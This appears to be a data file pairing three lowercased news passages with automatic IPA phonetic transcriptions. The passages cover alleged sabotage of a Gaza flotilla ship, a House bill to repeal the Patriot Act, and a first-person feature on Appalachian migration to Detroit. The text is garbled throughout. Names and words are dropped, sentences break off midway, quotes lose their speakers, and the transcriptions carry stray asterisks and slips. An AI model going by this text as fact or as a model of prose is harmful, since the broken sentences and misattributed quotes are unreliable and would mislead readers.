"the reports i'm receiving is that it's certain that it was sabotage," says mr. löfgren, reached by phone in sweden. "the propeller and [propeller shaft] has been cut and we have divers that have filmed the damages. experts have said no doubt" that the damage was deliberate.
he says that repairing the damage will take a few days. as to who is responsible, he declined to speculate. "we simply don't know who did it, but it's obviously a hostile act," says löfgren.
israel has been desperate to stop the flotilla from nearing gaza. israel raided a similar flotilla in international waters last year, killing nine activists in the process, one of them an american citizen. in the wake of that event, and the international outcry against israel, israel eased some of the restrictions on the flow of goods into gaza.
this year, israel is determined it doesn't get that far. earlier today, prime minister benjamin netanyahu's cabinet approve using any means necessary to stop the flotilla from reaching gaza.
the us has also been putting pressure on the activists to hold back. secretary of state hillary clinton characterized the flotilla as hostile in a comment last week.
"we think that it's not helpful for there to be that try to provoke action by entering into israeli waters and creating a situation in which the israelis have the right to defend themselves," clinton said.
the flotilla, in fact, says it has no plans to enter israeli waters, instead planning on transiting through international waters to gaza's territorial waters. the distinction goes to the heart of their protest. while israel extends de facto sovereignty over gaza's coastal waters, penning its fisherman close to shore and preventing any shipping or ferries to run to and from the strip, it's not their territory under international law.
the activists themselves say they want to make the point that peacefully coming and going from gaza shouldn't be criminalized, insist that they will practice nonviolence in their attempt, and that they'd be delighted to simply sail through unmolested. | ə ʃɪp ˈʤɔɪntli oʊnd baɪ sˈwidɪʃ, grik, ənd ˌnɔrˈwiʤən ˈæktɪvɪsts ˈhoʊpɪŋ tɪ ʤɔɪn ə floʊˈtɪlə əv ˈæktɪvɪst ˈvɛsəlz ˈʧælənʤɪŋ ˈɪzriəlz ˌɛkəˈnɑmɪk ˌblɑˈkeɪd əv ˈgɑzə, hæd ɪts prəˈpɛlər kət waɪl ɪn ˈhɑrbər təˈdeɪ. ə ˈspoʊksmən ˈkɑnˌtæktɪd baɪ ðə ˈmɑnətər sɛd ðət ðə ˈdæmɪʤ wɑz ə dɪˈlɪbərˌeɪt ækt əv ˈsæbəˌtɑʒ. ˈɪzriəl ənd ɪts ˈælaɪz hæv bɪn ˈwərkɪŋ hɑrd tɪ hɛd ɔf ðə plænd floʊˈtɪlə, wɪʧ ɪz ˈhoʊpɪŋ tɪ ˈɛnər ðə ˈwɔtərz ɔf ˈgɑzə ɪn ðə nɛkst wik. col*. (rɛt) æn raɪt, huz ˈɔrgəˌnaɪzɪŋ ə ˈjuˈɛs ˈvɛsəl neɪmd ðə ɑˈdæsəti əv hoʊp fər ðə floʊˈtɪlə, sɪz hər ʃɪp həz bɪn dɪˈteɪnd ɪn ˈæθənz ɔn ˈspəriəs ˈʧɑrʤɪz ðət ɪts nɑt ˈsiˌwɔrði. ʃi sɪz ðət ʧɑrʤ wɑz meɪd baɪ ən ˌɪzˈreɪli ˈligəl grup. naʊ ðə ˌʤuliˈɑnoʊ ɪz hɛld əp. məˈkeɪl löfgren*, ə ˈspoʊksmən fər ʃɪp tɪ ˈgɑzə sˈwidən, sɪz ðə ˈdæmɪʤ wɑz dɪˈskəvərd æt ɪn ðə ˈivnɪŋ ˈæθənz taɪm təˈdeɪ, ənd ðət ˈdaɪvərz ˈprɑbəˌbli kət ðə prəˈpɛlər ɪn ðə pæst 24 aʊərz. "ðə rɪˈpɔrts əm rɪˈsivɪŋ ɪz ðət ɪts ˈsərtən ðət ɪt wɑz ˈsæbəˌtɑʒ," sɪz ˈmɪstər. löfgren*, riʧt baɪ foʊn ɪn sˈwidən. "ðə prəˈpɛlər ənd [prəˈpɛlər ʃæft] həz bɪn kət ənd wi hæv ˈdaɪvərz ðət hæv fɪlmd ðə ˈdæmɪʤɪz. ˈɛkspərts hæv sɛd noʊ daʊt" ðət ðə ˈdæmɪʤ wɑz dɪˈlɪbərˌeɪt. hi sɪz ðət rɪˈpɛrɪŋ ðə ˈdæmɪʤ wɪl teɪk ə fju deɪz. ɛz tɪ hu ɪz riˈspɑnsəbəl, hi dɪˈklaɪnd tɪ ˈspɛkjəˌleɪt. "wi ˈsɪmpli doʊnt noʊ hu dɪd ɪt, bət ɪts ˈɑbviəsli ə ˈhɑstəl ækt," sɪz löfgren*. ˈɪzriəl həz bɪn ˈdɛspərɪt tɪ stɑp ðə floʊˈtɪlə frəm ˈnɪrɪŋ ˈgɑzə. ˈɪzriəl ˈreɪdɪd ə ˈsɪmələr floʊˈtɪlə ɪn ˌɪnərˈnæʃənɑl ˈwɔtərz læst jɪr, ˈkɪlɪŋ naɪn ˈæktɪvɪsts ɪn ðə ˈprɔˌsɛs, wən əv ðɛm ən əˈmɛrɪkən ˈsɪtɪzən. ɪn ðə weɪk əv ðət ɪˈvɛnt, ənd ðə ˌɪnərˈnæʃənɑl ˈaʊtˌkraɪ əˈgɛnst ˈɪzriəl, ˈɪzriəl izd səm əv ðə riˈstrɪkʃənz ɔn ðə floʊ əv gʊdz ˈɪntu ˈgɑzə. ðɪs jɪr, ˈɪzriəl ɪz dɪˈtərmənd ɪt ˈdəzənt gɪt ðət fɑr. ˈərliər təˈdeɪ, praɪm ˈmɪnɪstər ˈbɛnʤəmən ˌnɛtənˈjɑˌhuz ˈkæbənət əˈpruv ˈjuzɪŋ ˈɛni minz ˈnɛsəˌsɛri tɪ stɑp ðə floʊˈtɪlə frəm ˈriʧɪŋ ˈgɑzə. ðə ˈjuˈɛs həz ˈɔlsoʊ bɪn ˈpʊtɪŋ ˈprɛʃər ɔn ðə ˈæktɪvɪsts tɪ hoʊld bæk. ˈsɛkrəˌtɛri əv steɪt ˈhɪləri ˈklɪntən ˈkɛrɪktərˌaɪzd ðə floʊˈtɪlə ɛz ˈhɑstəl ɪn ə ˈkɑmɛnt læst wik. "wi θɪŋk ðət ɪts nɑt ˈhɛlpfəl fər ðɛr tɪ bi ðət traɪ tɪ prəˈvoʊk ˈækʃən baɪ ˈɛnərɪŋ ˈɪntu ˌɪzˈreɪli ˈwɔtərz ənd kriˈeɪtɪŋ ə ˌsɪʧuˈeɪʃən ɪn wɪʧ ðə ˌɪzˈreɪliz hæv ðə raɪt tɪ dɪˈfɛnd ðɛmˈsɛlvz," ˈklɪntən sɛd. ðə floʊˈtɪlə, ɪn fækt, sɪz ɪt həz noʊ plænz tɪ ˈɛnər ˌɪzˈreɪli ˈwɔtərz, ˌɪnˈstɛd ˈplænɪŋ ɔn ˈtrænzɪtɪŋ θru ˌɪnərˈnæʃənɑl ˈwɔtərz tɪ ˈgɑzəz ˌtɛrɪˈtɔriəl ˈwɔtərz. ðə dɪˈstɪŋkʃən goʊz tɪ ðə hɑrt əv ðɛr ˈproʊˌtɛst. waɪl ˈɪzriəl ɪkˈstɛndz də ˈfæktoʊ ˈsɑvrənti ˈoʊvər ˈgɑzəz ˈkoʊstəl ˈwɔtərz, ˈpɛnɪŋ ɪts ˈfɪʃərˌmæn kloʊz tɪ ʃɔr ənd prɪˈvɛnɪŋ ˈɛni ˈʃɪpɪŋ ər ˈfɛriz tɪ rən tɪ ənd frəm ðə strɪp, ɪts nɑt ðɛr ˈtɛrɪˌtɔri ˈəndər ˌɪnərˈnæʃənɑl lɔ. ðə ˈæktɪvɪsts ðɛmˈsɛlvz seɪ ðeɪ wɔnt tɪ meɪk ðə pɔɪnt ðət ˈpisfəli ˈkəmɪŋ ənd goʊɪŋ frəm ˈgɑzə ˈʃʊdənt bi ˈkrɪmənəˌlaɪzd, ˌɪnˈsɪst ðət ðeɪ wɪl ˈpræktɪs nɑnˈvaɪələns ɪn ðɛr əˈtɛmpt, ənd ðət ðeɪd bi dɪˈlaɪtɪd tɪ ˈsɪmpli seɪl θru ˌənməˈlɛstɪd. |
a house bill that would fundamentally disassemble the patriot act has begun its course through the house, thanks to a bipartisan duo calling for an end to “dragnet surveillance” in the united states.
introduced tuesday by reps. mark (d-wisc.) and thomas massie (r-ky.), the surveillance state repeal act would, as its name suggests, repeal the patriot act along with the amendments act of 2008. the bill would also prohibit the government from compelling internet service providers to secretly permit access to their data streams through the issuance of secret warrants, a practice currently enabled by 2008 revisions to the foreign intelligence surveillance act of 1978.
“the warrantless collection of millions of personal communications from innocent americans is a direct violation of our constitutional right to privacy,” said via a release on his congressional website. “revelations about the programs reveal the extraordinary extent to which the program has invaded americans’ privacy. i reject the notion that we must sacrifice liberty for security- we can live in a secure nation which also upholds a strong commitment to civil liberties. this legislation ends the dragnet surveillance practices, while putting provisions in place to protect the privacy of american citizens through real and lasting change.”
while the bill has little chance of making it to president desk so he can veto it, its several features may serve as a parts bin for reform efforts as the patriot act comes due for another round of in june.
“[a]dvocates might be hoping that their firm opposition to government spying will seem more attractive in coming weeks, as lawmakers race to beat a june 1 deadline for reauthorizing portions of the patriot act,” the hill reported tuesday.
“reformers have eyed that deadline as their last best chance for reforming some controversial programs, after an effort failed in the senate last year.” | ə haʊs bɪl ðət wʊd ˌfəndəˈmɛnəli ˌdɪsəˈsɛmbəl ðə ˈpeɪtriət ækt həz ˈbeɪgən ɪts kɔrs θru ðə haʊs, θæŋks tɪ ə baɪˈpɑrtɪzən ˈduoʊ ˈkɔlɪŋ fər ən ɛnd tɪ surveillance”*” ɪn ðə juˈnaɪtɪd steɪts. ˌɪntrəˈdust ˈtuzˌdeɪ baɪ rɛps. mɑrk (d-wisc*.) ənd ˈtɑməs ˈmæsi (r-ky*.), ðə sərˈveɪləns steɪt rɪˈpil ækt wʊd, ɛz ɪts neɪm səˈʤɛsts, rɪˈpil ðə ˈpeɪtriət ækt əˈlɔŋ wɪθ ðə əˈmɛndmənts ækt əv 2008 ðə bɪl wʊd ˈɔlsoʊ proʊˈhɪbət ðə ˈgəvərnmənt frəm kəmˈpɛlɪŋ ˈɪntərˌnɛt ˈsərvɪs prəˈvaɪdərz tɪ ˈsikrɪtli ˈpərˌmɪt ˈækˌsɛs tɪ ðɛr ˈdætə strimz θru ðə ˈɪʃuəns əv ˈsikrɪt ˈwɔrənts, ə ˈpræktɪs ˈkərəntli ɪˈneɪbəld baɪ 2008 riˈvɪʒənz tɪ ðə ˈfɔrən ˌɪnˈtɛləʤəns sərˈveɪləns ækt əv 1978 ˈwɔrəntləs kəˈlɛkʃən əv ˈmɪljənz əv ˈpərsɪnəl kəmˌjunəˈkeɪʃənz frəm ˈɪnəsənt əˈmɛrɪkənz ɪz ə dɪˈrɛkt vaɪəˈleɪʃən əv ɑr ˌkɑnstəˈtuʃənəl raɪt tɪ privacy,”*,” sɛd ˈviə ə riˈlis ɔn hɪz kənˈgrɛʃənəl ˈwɛbˌsaɪt. əˈbaʊt ðə ˈproʊˌgræmz rɪˈvil ðə ˌɛkstrəˈɔrdəˌnɛri ɪkˈstɛnt tɪ wɪʧ ðə ˈproʊˌgræm həz ˌɪnˈveɪdɪd americans’*’ ˈpraɪvəsi. aɪ ˈriʤɛkt ðə ˈnoʊʃən ðət wi məst ˈsækrəˌfaɪs ˈlɪbərˌti fər sɪˈkjʊrəti- wi kən lɪv ɪn ə sɪˈkjʊr ˈneɪʃən wɪʧ ˈɔlsoʊ əˈphoʊldz ə strɔŋ kəˈmɪtmənt tɪ ˈsɪvəl ˈlɪbərˌtiz. ðɪs ˌlɛʤəsˈleɪʃən ɛndz ðə ˈdrægˌnɛt sərˈveɪləns ˈpræktɪsɪz, waɪl ˈpʊtɪŋ prəˈvɪʒənz ɪn pleɪs tɪ prəˈtɛkt ðə ˈpraɪvəsi əv əˈmɛrɪkən ˈsɪtɪzənz θru ril ənd ˈlæstɪŋ change.”*.” waɪl ðə bɪl həz ˈlɪtəl ʧæns əv ˈmeɪkɪŋ ɪt tɪ ˈprɛzɪdənt dɛsk soʊ hi kən ˈviˌtoʊ ɪt, ɪts ˈsɛvərəl ˈfiʧərz meɪ sərv ɛz ə pɑrts bɪn fər rɪˈfɔrm ˈɛfərts ɛz ðə ˈpeɪtriət ækt kəmz du fər əˈnəðər raʊnd əv ɪn ʤun. maɪt bi ˈhoʊpɪŋ ðət ðɛr fərm ˌɑpəˈzɪʃən tɪ ˈgəvərnmənt spaɪɪŋ wɪl sim mɔr əˈtræktɪv ɪn ˈkəmɪŋ wiks, ɛz ˈlɔˌmeɪkərz reɪs tɪ bit ə ʤun 1 ˈdɛˌdlaɪn fər riˈɔθərˌaɪzɪŋ ˈpɔrʃənz əv ðə ˈpeɪtriət act,”*,” ðə hɪl ˌriˈpɔrtəd ˈtuzˌdeɪ. hæv aɪd ðət ˈdɛˌdlaɪn ɛz ðɛr læst bɛst ʧæns fər rɪˈfɔrmɪŋ səm ˌkɑntrəˈvərʃəl ˈproʊˌgræmz, ˈæftər ən ˈɛfərt feɪld ɪn ðə ˈsɛnɪt læst year.”*.” |
this is part one of a series looking at the legacy of appalachian culture in detroit.
the first i heard of the century appalachian influx into "hillbilly highway" migration, as it's often my own move here in 2013. this was an appalachian migration of sorts, as i was born and raised in west virginia, though moved to detroit from brooklyn.
i was part of a long line, it seemed: between 1940 and 1960, seven million appalachians left their home. during world war ii, men from all across the south came north to work in the war factories, and then, when appalachian coal jobs decreased due to automation, to booming industrial cities like chicago and detroit. i became curious about these appalachians who'd arrived decades before i had, about what their experiences were like and where they ended up.
the hillbilly highway was an with both push and pull.
they also believed its workers to be "safe," or unlikely to unionize.
it also helped that, according to thomas klug, college history professor and director of the college's institute for detroit studies, many southern migrants planned to work up north then move home with their earnings. this plan dovetailed with auto companies' needs for seasonal workers to supplement their core staff of settleds, a more diverse group of workers and homeowners.
"employers want a highly mobile force that they can hire and fire, and when you fire them they leave, and when you want them, they come back," says klug. "it fits in perfectly with the migrant strategy. you work really hard and make a lot of money relative to the sought, you take that money and go back, and maybe you can set up a gas station or buy a piece of land."
in the midwest as a whole, to "
some migrants chose to leave appalachia behind completely. one west couple interviewed in "appalachian odyssey"
west virginia university college of pharmacy guests at home laboratories in detroit (1959) reading "appalachian odyssey" and the media of the time suggests a rough transition. the representation of appalachia, and the south more generally, in popular media, tended to sketch a "other." in a 1935 harper's magazine article, "the hillbillies invade chicago," writer albert votaw describes appalachian migrants as "clannish, proud, disorderly, to urban ways," confounding "all notions of racial, religious and cultural purity."
the same year, an article in the nation, "the come to detroit," refers to the population as "white trash or a little better." these "hill-billies," writes louis adamic, "with their extremely low standard of living and lack of acquaintance with modern plumbing, are looked down upon by all but the most intelligent local workers, both native and foreign born; they are despised also—indeed, they take employment away from the automotive workers."
a 1934 detroit news
perhaps most shocking is how even professionals in appalachia itself contributed to the idea that theirs was a lifestyle out of sync with the times. the council of the southern mountains, for example, sponsored speakers to address a group of city professionals "about the 'strangers' entering their communities," and mountain people's "peculiar ways" were explained in workshops in cincinnati and chicago.
according to the literature, appalachians were never welcomed in their new northern homes. so i expected to hear stories of persecution and slow acceptance fromrs.
but the reality of appalachians entering detroit, as reality tends to be, is more complicated.
a supportive community
nancy, the former proprietor of north nancy whiskey bar, and carole baker, a lifelong who still resides in the woodbridge neighborhood where she was born, recall a happy time with their southern neighbors. in baker's colorful living room, the two friends while finishing each other's convivial, supportive community.
nancy "if you talk to most any, their grandma and grandpa came from down south during that time," says. "there's a lot of kentucky ties here. tennessee, too."
her father, a north carolina native, moved the family north to work in the war factories. in the and '60s, baker recalls, many appalachians and southerners lived in large apartment buildings on charlotte and streets. they were religious and clannish, according to both women, often living in the same large apartment buildings.
says baker, "they'd bring cornbread up to the second floor and mama watched the—"
"—young 'uns," says.
"—on the first floor while that one went to work, and that's just the way it was."
mcniven-glenn laughs remembering the camaraderie she shared with a bar owner in the neighborhood. "he had some rough customers. there'd be a few thrown downs in there once or twice a week," she says.
one day, he called her up. "he said, mimicked a southern about starvin' myself and i can't go off and leave this bar. what'd you cook for lunch?' i said, 'i'll be right there with it.'"
"that's the way it was," she adds. "they were right there for you."
after opening nancy whiskey in 1987, had southern customers who liked to fill the bar with hank williams, sr. songs (and, occasionally, spend their social security checks on rounds).
baker was especially fond of their beans and cornbread, the unofficial dish of appalachia. "cornbread dressing was my
carole baker
"they were hard workers, unlike what people say," baker says. "they would problem, or take the plumbing out—"
"—oh, in a minute. they'd give you a hand there, sure," adds.
"—redo the floors, finish the woodwork. i always used southern people because i could trust 'em."
baker also mentions the beautiful conditions of their apartments. i remark that this countered some accounts of their living situations. "no, i can remember them, they were absolutely gorgeous apartments," she says. "the front lawns and everything. [the southerners] worked at the auto plants and they filled the schools up."
baker says the area deteriorated after the 1967 riots, in part because of fear narratives similar to those endured by irish immigrants and the endured by african-americans.
over time, many of the appalachians who stayed moved out to middle-class suburbs like warren, taylor, and hazel park (which still carry derogatory labels like "taylortucky"). some of the poorest southern from west virginia, tennessee and, to live in north well into the late century.
from 1992 to 1994, john hartigan, jr. lived in briggs (as it was then known) and studied its racial dynamics for his book, "
when we speak, hartigan says that the experience of poor appalachian whites who remained in briggs wasn't representative of the larger appalachian migration. those who got jobs moved to the suburbs in the and '80s, he says, but by this point, factory jobs were long gone. those left behind, often the children of those early migrants, did odd jobs and often struggled with alcohol and drug abuse.
"they didn't have the kind of opportunity the parents had," he said. | ðɪs ɪz pɑrt wən əv ə ˈsɪriz ˈlʊkɪŋ æt ðə ˈlɛgəsi əv ˌæpəˈlæʧən ˈkəlʧər ɪn ˈdiˌtrɔɪt. ðə fərst aɪ hərd əv ðə ˈsɛnʧəri ˌæpəˈlæʧən ˈɪnˌfləks ˈɪntu "ˈhɪlbɪli ˈhaɪˌweɪ" maɪˈgreɪʃən, ɛz ɪts ˈɔfən maɪ oʊn muv hir ɪn 2013 ðɪs wɑz ən ˌæpəˈlæʧən maɪˈgreɪʃən əv sɔrts, ɛz aɪ wɑz bɔrn ənd reɪzd ɪn wɛst vərˈʤɪnjə, ðoʊ muvd tɪ ˈdiˌtrɔɪt frəm ˈbrʊklɪn. aɪ wɑz pɑrt əv ə lɔŋ laɪn, ɪt simd: bɪtˈwin 1940 ənd 1960 ˈsɛvən ˈmɪljən ˌæpəˈleɪʧənz lɛft ðɛr hoʊm. ˈdʊrɪŋ wərld wɔr ii*, mɛn frəm ɔl əˈkrɔs ðə saʊθ keɪm nɔrθ tɪ wərk ɪn ðə wɔr ˈfæktəriz, ənd ðɛn, wɪn ˌæpəˈlæʧən koʊl ʤɑbz ˈdiˌkrist du tɪ ɔtəˈmeɪʃən, tɪ ˈbumɪŋ ˌɪnˈdəstriəl ˈsɪtiz laɪk ʃəˈkɑˌgoʊ ənd ˈdiˌtrɔɪt. aɪ bɪˈkeɪm ˈkjʊriəs əˈbaʊt ðiz ˌæpəˈleɪʧənz hud əraɪvd ˈdɛkeɪdz ˌbiˈfɔr aɪ hæd, əˈbaʊt wət ðɛr ɪkˈspɪriənsɪz wər laɪk ənd wɛr ðeɪ ˈɛndɪd əp. ðə ˈhɪlbɪli ˈhaɪˌweɪ wɑz ən wɪθ boʊθ pʊʃ ənd pʊl. ðeɪ ˈɔlsoʊ bɪˈlivd ɪts ˈwərkərz tɪ bi "seɪf," ər ənˈlaɪkli tɪ ˈjunjəˌnaɪz. ɪt ˈɔlsoʊ hɛlpt ðət, əˈkɔrdɪŋ tɪ ˈtɑməs kləg, ˈkɑlɪʤ ˈhɪstəri prəˈfɛsər ənd dɪˈrɛktər əv ðə ˈkɑlɪʤɪz ˈɪnstɪˌtut fər ˈdiˌtrɔɪt ˈstədiz, ˈmɛni ˈsəðərn ˈmaɪgrənts plænd tɪ wərk əp nɔrθ ðɛn muv hoʊm wɪθ ðɛr ˈərnɪŋz. ðɪs plæn ˈdəvˌteɪld wɪθ ˈɔtoʊ ˈkəmpəˌniz' nidz fər ˈsizənəl ˈwərkərz tɪ ˌsəpləˈmɛnt ðɛr kɔr stæf əv ˈsɛtəld ˈdiˌtrɔɪtərz, ə mɔr dɪˈvərs grup əv ˈwərkərz ənd ˈhoʊˌmoʊnərz. "ɪmˈplɔɪərz wɔnt ə ˈhaɪli ˈmoʊbəl fɔrs ðət ðeɪ kən haɪər ənd faɪər, ənd wɪn ju faɪər ðɛm ðeɪ liv, ənd wɪn ju wɔnt ðɛm, ðeɪ kəm bæk," sɪz kləg. "ɪt fɪts ɪn ˈpərfəktli wɪθ ðə ˈmaɪgrənt ˈstrætəʤi. ju wərk ˈrɪli hɑrd ənd meɪk ə lɔt əv ˈməni ˈrɛlətɪv tɪ ðə sɔt, ju teɪk ðət ˈməni ənd goʊ bæk, ənd ˈmeɪbi ju kən sɛt əp ə gæs ˈsteɪʃən ər baɪ ə pis əv lænd." ɪn ðə ˌmɪdˈwɛst ɛz ə hoʊl, tɪ səm ˈmaɪgrənts ʧoʊz tɪ liv ˌæpəˈlæʧiə bɪˈhaɪnd kəmˈplitli. wən wɛst ˈkəpəl ˈɪntərvˌjud ɪn "ˌæpəˈlæʧən ˈɑdəsi" wɛst vərˈʤɪnjə ˌjunəˈvərsəti ˈkɑlɪʤ əv ˈfɑrməsi gɛsts æt hoʊm ˈlæbrəˌtɔriz ɪn ˈdiˌtrɔɪt 1959 ˈrɛdɪŋ "ˌæpəˈlæʧən ˈɑdəsi" ənd ðə ˈmidiə əv ðə taɪm səˈʤɛsts ə rəf trænˈzɪʃən. ðə ˌrɛprəzɛnˈteɪʃən əv ˌæpəˈlæʧiə, ənd ðə saʊθ mɔr ˈʤɛnərəli, ɪn ˈpɑpjələr ˈmidiə, ˈtɛndɪd tɪ skɛʧ ə "ˈəðər." ɪn ə 1935 ˈhɑrpərz ˈmægəˌzin ˈɑrtɪkəl, "ðə ˈhɪlˌbɪliz ˌɪnˈveɪd ʃəˈkɑˌgoʊ," ˈraɪtər ˈælbərt ˈvoʊtɔ dɪˈskraɪbz ˌæpəˈlæʧən ˈmaɪgrənts ɛz "ˈklænɪʃ, praʊd, dɪˈsɔrdərli, tɪ ˈərbən weɪz," kənˈfaʊndɪŋ "ɔl ˈnoʊʃənz əv ˈreɪʃəl, rɪˈlɪʤəs ənd ˈkəlʧərəl ˈpjʊrɪti." ðə seɪm jɪr, ən ˈɑrtɪkəl ɪn ðə ˈneɪʃən, "ðə kəm tɪ ˈdiˌtrɔɪt," rɪˈfərz tɪ ðə ˌpɑpjəˈleɪʃən ɛz "waɪt træʃ ər ə ˈlɪtəl ˈbɛtər." ðiz "hill-billies*," raɪts luɪs adamic*, "wɪθ ðɛr ɪkˈstrimli loʊ ˈstændərd əv ˈlɪvɪŋ ənd læk əv əkˈweɪntəns wɪθ ˈmɑdərn ˈpləmɪŋ, ər lʊkt daʊn əˈpɑn baɪ ɔl bət ðə moʊst ˌɪnˈtɛləʤənt ˈloʊkəl ˈwərkərz, boʊθ ˈneɪtɪv ənd ˈfɔrən bɔrn; ðeɪ ər dɪˈspaɪzd also—indeed*, ðeɪ teɪk ɪmˈplɔɪmənt əˈweɪ frəm ðə ˌɔtəˈmoʊtɪv ˈwərkərz." ə 1934 ˈdiˌtrɔɪt nuz pərˈhæps moʊst ˈʃɑkɪŋ ɪz haʊ ˈivɪn prəˈfɛʃənəlz ɪn ˌæpəˈlæʧiə ˌɪtˈsɛlf kənˈtrɪbjutɪd tɪ ðə aɪˈdiə ðət ðɛrz wɑz ə ˈlaɪfˌstaɪl aʊt əv sɪŋk wɪθ ðə taɪmz. ðə ˈkaʊnsəl əv ðə ˈsəðərn ˈmaʊntənz, fər ɪgˈzæmpəl, ˈspɑnsərd ˈspikərz tɪ ˈæˌdrɛs ə grup əv ˈsɪti prəˈfɛʃənəlz "əˈbaʊt ðə 'ˈstreɪnʤərz' ˈɛnərɪŋ ðɛr kəmˈjunɪtiz," ənd ˈmaʊntən ˈpipəlz "pɪˈkjuljər weɪz" wər ɪkˈspleɪnd ɪn ˈwərkˌʃɑps ɪn ˌsɪnsəˈnæti ənd ʃəˈkɑˌgoʊ. əˈkɔrdɪŋ tɪ ðə ˈlɪtərəʧər, ˌæpəˈleɪʧənz wər ˈnɛvər ˈwɛlkəmd ɪn ðɛr nu ˈnɔrðərn hoʊmz. soʊ aɪ ɪkˈspɛktɪd tɪ hir ˈstɔriz əv ˌpərsəˈkjuʃən ənd sloʊ əkˈsɛptəns frəm ˌoʊldˈtaɪmərz. bət ðə ˌriˈæləˌti əv ˌæpəˈleɪʧənz ˈɛnərɪŋ ˈdiˌtrɔɪt, ɛz ˌriˈæləˌti tɛndz tɪ bi, ɪz mɔr ˈkɑmpləˌkeɪtəd. ə səˈpɔrtɪv kəmˈjunɪti ˈnænsi, ðə ˈfɔrmər prəˈpraɪətər əv nɔrθ ˈnænsi ˈwɪski bɑr, ənd ˈkɛrəl ˈbeɪkər, ə ˈlaɪˈflɔŋ hu stɪl rɪˈzaɪdz ɪn ðə ˈwʊdˌbrɪʤ ˈneɪbərˌhʊd wɛr ʃi wɑz bɔrn, ˈriˌkɔl ə ˈhæpi taɪm wɪθ ðɛr ˈsəðərn ˈneɪbərz. ɪn ˈbeɪkərz ˈkələrfəl ˈlɪvɪŋ rum, ðə tu frɛndz waɪl ˈfɪnɪʃɪŋ iʧ ˈəðərz kənˈvɪviəl, səˈpɔrtɪv kəmˈjunɪti. ˈnænsi "ɪf ju tɔk tɪ moʊst ˈɛni, ðɛr ˈgrændmɑ ənd ˈgrændˌpɑ keɪm frəm daʊn saʊθ ˈdʊrɪŋ ðət taɪm," sɪz. "ðɛrz ə lɔt əv kənˈtəki taɪz hir. ˌtɛnəˈsi, tu." hər ˈfɑðər, ə nɔrθ ˌkɛrəˈlaɪnə ˈneɪtɪv, muvd ðə ˈfæməli nɔrθ tɪ wərk ɪn ðə wɔr ˈfæktəriz. ɪn ðə ənd 60s*, ˈbeɪkər ˈriˌkɔlz, ˈmɛni ˌæpəˈleɪʧənz ənd ˈsəðərnərz lɪvd ɪn lɑrʤ əˈpɑrtmənt ˈbɪldɪŋz ɔn ˈʃɑrlət ənd strits. ðeɪ wər rɪˈlɪʤəs ənd ˈklænɪʃ, əˈkɔrdɪŋ tɪ boʊθ ˈwɪmən, ˈɔfən ˈlɪvɪŋ ɪn ðə seɪm lɑrʤ əˈpɑrtmənt ˈbɪldɪŋz. sɪz ˈbeɪkər, "ðeɪd brɪŋ ˈkɔrnˌbrɛd əp tɪ ðə ˈsɛkənd flɔr ənd ˈmɑmə wɔʧt the—*—" 'uns*," sɪz. ðə fərst flɔr waɪl ðət wən wɛnt tɪ wərk, ənd ðæts ʤɪst ðə weɪ ɪt wɑz." læfs rɪˈmɛmbərɪŋ ðə ˌkɑmərˈɑdəri ʃi ʃɛrd wɪθ ə bɑr ˈoʊnər ɪn ðə ˈneɪbərˌhʊd. "hi hæd səm rəf ˈkəstəmərz. ðɛrd bi ə fju θroʊn daʊnz ɪn ðɛr wəns ər twaɪs ə wik," ʃi sɪz. wən deɪ, hi kɔld hər əp. "hi sɛd, ˈmɪmɪkt ə ˈsəðərn əˈbaʊt starvin*' ˌmaɪˈsɛlf ənd aɪ kænt goʊ ɔf ənd liv ðɪs bɑr. ˈwətɪd ju kʊk fər lənʧ?' aɪ sɛd, 'aɪl bi raɪt ðɛr wɪθ ɪt.'" "ðæts ðə weɪ ɪt wɑz," ʃi ædz. "ðeɪ wər raɪt ðɛr fər ju." ˈæftər ˈoʊpənɪŋ ˈnænsi ˈwɪski ɪn 1987 hæd ˈsəðərn ˈkəstəmərz hu laɪkt tɪ fɪl ðə bɑr wɪθ hæŋk ˈwɪljəmz, ˈsɪstər. sɔŋz (ənd, ɔˈkeɪʒənəˌli, spɛnd ðɛr ˈsoʊʃəl sɪˈkjʊrəti ʧɛks ɔn raʊnz). ˈbeɪkər wɑz əˈspɛʃəli fɑnd əv ðɛr binz ənd ˈkɔrnˌbrɛd, ðə ˌənəˈfɪʃəl dɪʃ əv ˌæpəˈlæʧiə. "ˈkɔrnˌbrɛd ˈdrɛsɪŋ wɑz maɪ ˈkɛrəl ˈbeɪkər "ðeɪ wər hɑrd ˈwərkərz, ənˈlaɪk wət ˈpipəl seɪ," ˈbeɪkər sɪz. "ðeɪ wʊd ˈprɑbləm, ər teɪk ðə ˈpləmɪŋ out—*—" "——oh*, ɪn ə ˈmɪnət. ðeɪd gɪv ju ə hænd ðɛr, ʃʊr," ædz. ðə flɔrz, ˈfɪnɪʃ ðə ˈwʊdˌwərk. aɪ ˈɔlˌweɪz juzd ˈsəðərn ˈpipəl bɪˈkəz aɪ kʊd trəst 'ɛm." ˈbeɪkər ˈɔlsoʊ ˈmɛnʃənz ðə ˈbjutəfəl kənˈdɪʃənz əv ðɛr əˈpɑrtmənts. aɪ rɪˈmɑrk ðət ðɪs ˈkaʊnərd səm əˈkaʊnts əv ðɛr ˈlɪvɪŋ ˌsɪʧuˈeɪʃənz. "noʊ, aɪ kən rɪˈmɛmbər ðɛm, ðeɪ wər ˌæbsəˈlutli ˈgɔrʤəs əˈpɑrtmənts," ʃi sɪz. "ðə frənt lɔnz ənd ˈɛvriˌθɪŋ. [ðə ˈsəðərnərz] wərkt æt ðə ˈɔtoʊ plænts ənd ðeɪ fɪld ðə skulz əp." ˈbeɪkər sɪz ðə ˈɛriə dɪˈtɪriərˌeɪtɪd ˈæftər ðə 1967 raɪəts, ɪn pɑrt bɪˈkəz əv fɪr ˈnɛrətɪvz ˈsɪmələr tɪ ðoʊz ɪnˈdʊrd baɪ ˈaɪrɪʃ ˈɪməgrənts ənd ðə ɪnˈdʊrd baɪ ˈæfrɪkənəˈmɛrɪkənz. ˈoʊvər taɪm, ˈmɛni əv ðə ˌæpəˈleɪʧənz hu steɪd muvd aʊt tɪ ˈmɪdəlˈklæs ˈsəbərbz laɪk ˈwɔrən, ˈteɪlər, ənd ˈheɪzəl pɑrk (wɪʧ stɪl ˈkɛri dərˈɑgəˌtɔri ˈleɪbəlz laɪk "taylortucky*"). səm əv ðə ˈpurɪst ˈsəðərn frəm wɛst vərˈʤɪnjə, ˌtɛnəˈsi ənd, tɪ lɪv ɪn nɔrθ wɛl ˈɪntu ðə leɪt ˈsɛnʧəri. frəm 1992 tɪ 1994 ʤɑn ˈhɑrtɪgən, jr*. lɪvd ɪn brɪgz (ɛz ɪt wɑz 